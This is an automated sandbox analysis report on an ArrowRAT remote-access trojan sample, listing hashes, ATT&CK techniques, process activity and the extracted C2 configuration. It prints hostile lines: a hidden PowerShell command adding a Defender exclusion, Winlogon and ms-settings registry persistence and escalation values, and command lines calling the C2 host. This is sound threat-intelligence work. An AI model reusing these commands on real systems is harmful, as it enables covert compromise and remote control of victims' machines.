arrowrat | 96d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6

Analysis

max time kernel
129s
max time network
125s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-07-2023 20:43

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General

Target

0x0009000000012029-61.exe
Size

158KB
MD5

d7dea9816b882cb53d615a3afdf0c955
SHA1

d3bfd91ff74c072028bd747d4f56f17cc55168a5
SHA256

96d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6
SHA512

b0881a34616faa65c5f279f5dd1f9e51a951c982046a46afdb109db71dd34c5148db017faf1141ab5a713846d22df463a576c4c274558f56bf624cc703eb0f35
SSDEEP

3072:5bzgH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfP/NO8Y:5bzge0ODhTEPgnjuIJzo+PPcfP/A8

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

line-ellis.gl.at.ply.gg:10735

Mutex

nAChhjAnR

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe"	0x0009000000012029-61.exe

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command	0x0009000000012029-61.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings	0x0009000000012029-61.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell	0x0009000000012029-61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe'"	0x0009000000012029-61.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open	0x0009000000012029-61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	0x0009000000012029-61.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe
2492	0x0009000000012029-61.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	0x0009000000012029-61.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe
Token: SeShutdownPrivilege	1212	explorer.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe
1212	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2492	0x0009000000012029-61.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 1212	2492	0x0009000000012029-61.exe	28
PID 2492 wrote to memory of 1212	2492	0x0009000000012029-61.exe	28
PID 2492 wrote to memory of 1212	2492	0x0009000000012029-61.exe	28
PID 2492 wrote to memory of 1540	2492	0x0009000000012029-61.exe	29
PID 2492 wrote to memory of 1540	2492	0x0009000000012029-61.exe	29
PID 2492 wrote to memory of 1540	2492	0x0009000000012029-61.exe	29
PID 2492 wrote to memory of 1540	2492	0x0009000000012029-61.exe	29
PID 2492 wrote to memory of 1740	2492	0x0009000000012029-61.exe	30
PID 2492 wrote to memory of 1740	2492	0x0009000000012029-61.exe	30
PID 2492 wrote to memory of 1740	2492	0x0009000000012029-61.exe	30
PID 2492 wrote to memory of 1740	2492	0x0009000000012029-61.exe	30
PID 2492 wrote to memory of 2072	2492	0x0009000000012029-61.exe	32
PID 2492 wrote to memory of 2072	2492	0x0009000000012029-61.exe	32
PID 2492 wrote to memory of 2072	2492	0x0009000000012029-61.exe	32
PID 2492 wrote to memory of 2072	2492	0x0009000000012029-61.exe	32
PID 2492 wrote to memory of 756	2492	0x0009000000012029-61.exe	31
PID 2492 wrote to memory of 756	2492	0x0009000000012029-61.exe	31
PID 2492 wrote to memory of 756	2492	0x0009000000012029-61.exe	31
PID 2492 wrote to memory of 756	2492	0x0009000000012029-61.exe	31
PID 2492 wrote to memory of 1892	2492	0x0009000000012029-61.exe	33
PID 2492 wrote to memory of 1892	2492	0x0009000000012029-61.exe	33
PID 2492 wrote to memory of 1892	2492	0x0009000000012029-61.exe	33
PID 2492 wrote to memory of 1892	2492	0x0009000000012029-61.exe	33
PID 2492 wrote to memory of 2392	2492	0x0009000000012029-61.exe	34
PID 2492 wrote to memory of 2392	2492	0x0009000000012029-61.exe	34
PID 2492 wrote to memory of 2392	2492	0x0009000000012029-61.exe	34
PID 2492 wrote to memory of 2392	2492	0x0009000000012029-61.exe	34
PID 2492 wrote to memory of 2920	2492	0x0009000000012029-61.exe	35
PID 2492 wrote to memory of 2920	2492	0x0009000000012029-61.exe	35
PID 2492 wrote to memory of 2920	2492	0x0009000000012029-61.exe	35
PID 2492 wrote to memory of 2920	2492	0x0009000000012029-61.exe	35
PID 2492 wrote to memory of 2144	2492	0x0009000000012029-61.exe	36
PID 2492 wrote to memory of 2144	2492	0x0009000000012029-61.exe	36
PID 2492 wrote to memory of 2144	2492	0x0009000000012029-61.exe	36
PID 2492 wrote to memory of 2144	2492	0x0009000000012029-61.exe	36
PID 2492 wrote to memory of 2828	2492	0x0009000000012029-61.exe	37
PID 2492 wrote to memory of 2828	2492	0x0009000000012029-61.exe	37
PID 2492 wrote to memory of 2828	2492	0x0009000000012029-61.exe	37
PID 2492 wrote to memory of 2828	2492	0x0009000000012029-61.exe	37
PID 2492 wrote to memory of 2412	2492	0x0009000000012029-61.exe	38
PID 2492 wrote to memory of 2412	2492	0x0009000000012029-61.exe	38
PID 2492 wrote to memory of 2412	2492	0x0009000000012029-61.exe	38
PID 2492 wrote to memory of 2412	2492	0x0009000000012029-61.exe	38
PID 1212 wrote to memory of 2868	1212	explorer.exe	39
PID 1212 wrote to memory of 2868	1212	explorer.exe	39
PID 1212 wrote to memory of 2868	1212	explorer.exe	39
PID 2492 wrote to memory of 3044	2492	0x0009000000012029-61.exe	40
PID 2492 wrote to memory of 3044	2492	0x0009000000012029-61.exe	40
PID 2492 wrote to memory of 3044	2492	0x0009000000012029-61.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\0x0009000000012029-61.exe
"C:\Users\Admin\AppData\Local\Temp\0x0009000000012029-61.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies Installed Components in the registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2868
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:1540
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:1740
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:756
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2072
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:1892
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2392
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2920
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2144
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2828
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
  2⤵
  PID:2412
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1212-58-0x0000000003F60000-0x0000000003F61000-memory.dmp

Filesize
4KB

Download
memory/1212-62-0x0000000003F60000-0x0000000003F61000-memory.dmp

Filesize
4KB

Download
memory/1212-66-0x0000000002C80000-0x0000000002C90000-memory.dmp

Filesize
64KB

Download
memory/2492-53-0x0000000000EF0000-0x0000000000F1E000-memory.dmp

Filesize
184KB

Download
memory/2492-54-0x000007FEF5EE0000-0x000007FEF68CC000-memory.dmp

Filesize
9.9MB

Download
memory/2492-57-0x000000001AF80000-0x000000001B000000-memory.dmp

Filesize
512KB

Download
memory/2492-59-0x000007FEF5EE0000-0x000007FEF68CC000-memory.dmp

Filesize
9.9MB

Download
memory/2492-61-0x000000001AF80000-0x000000001B000000-memory.dmp

Filesize
512KB

Download
memory/3044-56-0x0000000001BA0000-0x0000000001BA1000-memory.dmp

Filesize
4KB

Download
memory/3044-60-0x0000000001BA0000-0x0000000001BA1000-memory.dmp

Filesize
4KB

Download